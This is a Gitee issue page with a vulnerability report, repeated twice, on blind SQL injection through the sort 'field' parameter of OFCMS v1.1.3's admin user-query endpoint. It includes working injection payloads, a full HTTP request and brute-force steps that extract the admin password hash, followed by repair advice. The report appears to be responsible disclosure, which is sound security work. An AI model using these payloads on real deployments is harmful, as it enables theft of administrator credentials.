登录
注册
开源
企业版
高校版
搜索
帮助中心
使用条款
关于我们
开源
企业版
高校版
私有云
模力方舟
AI 队友
登录
注册
代码拉取完成,页面将自动刷新
开源项目
>
建站系统
>
CMS建站系统
&&
捐赠
捐赠前请先登录
取消
前往登录
扫描微信二维码支付
取消
支付完成
支付提示
将跳转至支付宝完成支付
确定
取消
Watch
不关注
关注所有动态
仅关注版本发行动态
关注但不提醒动态
229
Star
1K
Fork
447
欧福
/
ofcms
代码
Issues
26
Pull Requests
0
Wiki
统计
流水线
服务
JavaDoc
质量分析
Jenkins for Gitee
腾讯云托管
腾讯云 Serverless
悬镜安全
阿里云 SAE
Codeblitz
SBOM
开发画像分析
我知道了,不再自动展开
更新失败,请稍后重试!
移除标识
内容风险标识
本任务被
标识为内容中包含有代码安全 Bug 、隐私泄露等敏感信息,仓库外成员不可访问
OFCMS v1.1.3 contains an SQL injection vulnerability.
待办的
#IJLL09
Caesar
创建于
2026-05-07 14:41
## Vulnerability Description An SQL injection vulnerability exists in the `SysUserController.java` component of `ofcms v1.1.3`. This vulnerability lies in the `/admin/system/user/getData.json` interface, which is called when processing query requests using the `query()` method. The vulnerability stems from improper validation of the `field` parameter. Because this parameter is directly appended to the `ORDER BY` clause of the backend SQL, attackers can perform blind SQL injection by constructing complex SQL expressions (including nested subqueries and Boolean logic). ## Vulnerability Analysis The vulnerability's entry point class file is: \ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java Line 37, `Db.getSqlPara("system.user.query", params);`, will call the SQL query statement in the `query` section of the file `\ofcms-admin\src\main\resources\conf\sql\system\user.sql`.  sql file:\ofcms-admin\src\main\resources\conf\sql\system\user.sql The content is as follows: as long as the values of sort and field are not empty, they will be directly concatenated into the SQL query.  The vulnerability's entry point class file is: \ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java Since field and sort are controllable by us, there is an SQL injection vulnerability.  ## Vulnerability Reproduction The database contains an admin user with user_id=1. By reading this user's password (user_password), we can prove the existence of an SQL injection vulnerability.  First, log in to the backend, obtain the cookie after login, and then set the following payload: field=if(LeNgth((select/**/user_password/**/from/**/of_sys_user/**/where/**/user_id=1))=X,1,(select/**/1/**/union/**/select/**/2)) Iterate through the values of X. If X equals the correct password length, respond with a 200; otherwise, respond with a 500. Based on the website routing, the request data packet configuration is as follows: ```http POST /ofcms_admin/admin/system/user/getData.json HTTP/1.1 Host: localhost:8080 Content-Length: 161 sec-ch-ua-platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 sec-ch-ua: "Chromium";v="143", "Not A(Brand";v="24" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://localhost:8080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8080/ofcms_admin/admin/f.html?p=system/user/index.html Accept-Encoding: gzip, deflate, br Cookie: JSESSIONID=C64E983A2F96D3419C8C6CC3F0814A15 Connection: keep-alive pageNum=1&pageSize=10&field=if(LeNgth((select/**/user_password/**/from/**/of_sys_user/**/where/**/user_id=1))=X,1,(select/**/1/**/union/**/select/**/2))&sort=asc ``` In the brute-force module of bp, iterate through the values of X, from 1 to 250.  The administrator password obtained through injection is 64 characters long.  The password for the admin user (user_id=1) can be obtained through the `admin/system/user/getData.json` file. Calculations show that its length is 64 characters.  Now we begin the injection, obtaining the password value, and setting up the following injection statement: field=if((select/**/ascii(substr(user_password,X,1))/**/from/**/of_sys_user/**/where/**/user_id=1)=Y,1,(select/**/1/**/union/**/select/**/2)) Traversal length X: 1-10 (because brute-forcing 1-64 would be too large, for demonstration purposes I will only read the first 10 characters of the password) Traversing ASCII codes Y: 1-255 The bp brute-force module is configured as follows:  Explosion result conversion: 8d969eef6e   The brute-force password for the admin user above, consisting of the first 10 characters, is: 8d969eef6e. However, the password for the admin user in the database is: 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92. The brute-force result perfectly matches the first 10 characters of the admin user's password in the database. The SQL injection vulnerability has been successfully reproduced, and its existence has been verified.  ## Repair suggestions 1. Filter user input data. 2. Set a whitelist, defining a list of fields that can be sorted. Only fields within this list are allowed to be appended to the SQL statement.
## Vulnerability Description An SQL injection vulnerability exists in the `SysUserController.java` component of `ofcms v1.1.3`. This vulnerability lies in the `/admin/system/user/getData.json` interface, which is called when processing query requests using the `query()` method. The vulnerability stems from improper validation of the `field` parameter. Because this parameter is directly appended to the `ORDER BY` clause of the backend SQL, attackers can perform blind SQL injection by constructing complex SQL expressions (including nested subqueries and Boolean logic). ## Vulnerability Analysis The vulnerability's entry point class file is: \ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java Line 37, `Db.getSqlPara("system.user.query", params);`, will call the SQL query statement in the `query` section of the file `\ofcms-admin\src\main\resources\conf\sql\system\user.sql`.  sql file:\ofcms-admin\src\main\resources\conf\sql\system\user.sql The content is as follows: as long as the values of sort and field are not empty, they will be directly concatenated into the SQL query.  The vulnerability's entry point class file is: \ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java Since field and sort are controllable by us, there is an SQL injection vulnerability.  ## Vulnerability Reproduction The database contains an admin user with user_id=1. By reading this user's password (user_password), we can prove the existence of an SQL injection vulnerability.  First, log in to the backend, obtain the cookie after login, and then set the following payload: field=if(LeNgth((select/**/user_password/**/from/**/of_sys_user/**/where/**/user_id=1))=X,1,(select/**/1/**/union/**/select/**/2)) Iterate through the values of X. If X equals the correct password length, respond with a 200; otherwise, respond with a 500. Based on the website routing, the request data packet configuration is as follows: ```http POST /ofcms_admin/admin/system/user/getData.json HTTP/1.1 Host: localhost:8080 Content-Length: 161 sec-ch-ua-platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 sec-ch-ua: "Chromium";v="143", "Not A(Brand";v="24" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://localhost:8080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8080/ofcms_admin/admin/f.html?p=system/user/index.html Accept-Encoding: gzip, deflate, br Cookie: JSESSIONID=C64E983A2F96D3419C8C6CC3F0814A15 Connection: keep-alive pageNum=1&pageSize=10&field=if(LeNgth((select/**/user_password/**/from/**/of_sys_user/**/where/**/user_id=1))=X,1,(select/**/1/**/union/**/select/**/2))&sort=asc ``` In the brute-force module of bp, iterate through the values of X, from 1 to 250.  The administrator password obtained through injection is 64 characters long.  The password for the admin user (user_id=1) can be obtained through the `admin/system/user/getData.json` file. Calculations show that its length is 64 characters.  Now we begin the injection, obtaining the password value, and setting up the following injection statement: field=if((select/**/ascii(substr(user_password,X,1))/**/from/**/of_sys_user/**/where/**/user_id=1)=Y,1,(select/**/1/**/union/**/select/**/2)) Traversal length X: 1-10 (because brute-forcing 1-64 would be too large, for demonstration purposes I will only read the first 10 characters of the password) Traversing ASCII codes Y: 1-255 The bp brute-force module is configured as follows:  Explosion result conversion: 8d969eef6e   The brute-force password for the admin user above, consisting of the first 10 characters, is: 8d969eef6e. However, the password for the admin user in the database is: 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92. The brute-force result perfectly matches the first 10 characters of the admin user's password in the database. The SQL injection vulnerability has been successfully reproduced, and its existence has been verified.  ## Repair suggestions 1. Filter user input data. 2. Set a whitelist, defining a list of fields that can be sorted. Only fields within this list are allowed to be appended to the SQL statement.
评论 (
0
)
登录
后才可以发表评论
状态
待办的
待办的
进行中
已完成
已关闭
负责人
未设置
标签
未设置
标签管理
里程碑
未关联里程碑
未关联里程碑
Pull Requests
未关联
未关联
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
未关联
分支 (
-
)
标签 (
-
)
开始日期   -   截止日期
-
置顶选项
不置顶
置顶等级:高
置顶等级:中
置顶等级:低
优先级
不指定
严重
主要
次要
不重要
参与者(1)
Java
1
https://gitee.com/oufu/ofcms.git
git@gitee.com:oufu/ofcms.git
oufu
ofcms
ofcms
点此查找更多帮助
搜索帮助
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
评论
仓库举报
回到顶部
登录提示
该操作需登录 Gitee 帐号,请先登录后再操作。
立即登录
没有帐号,去注册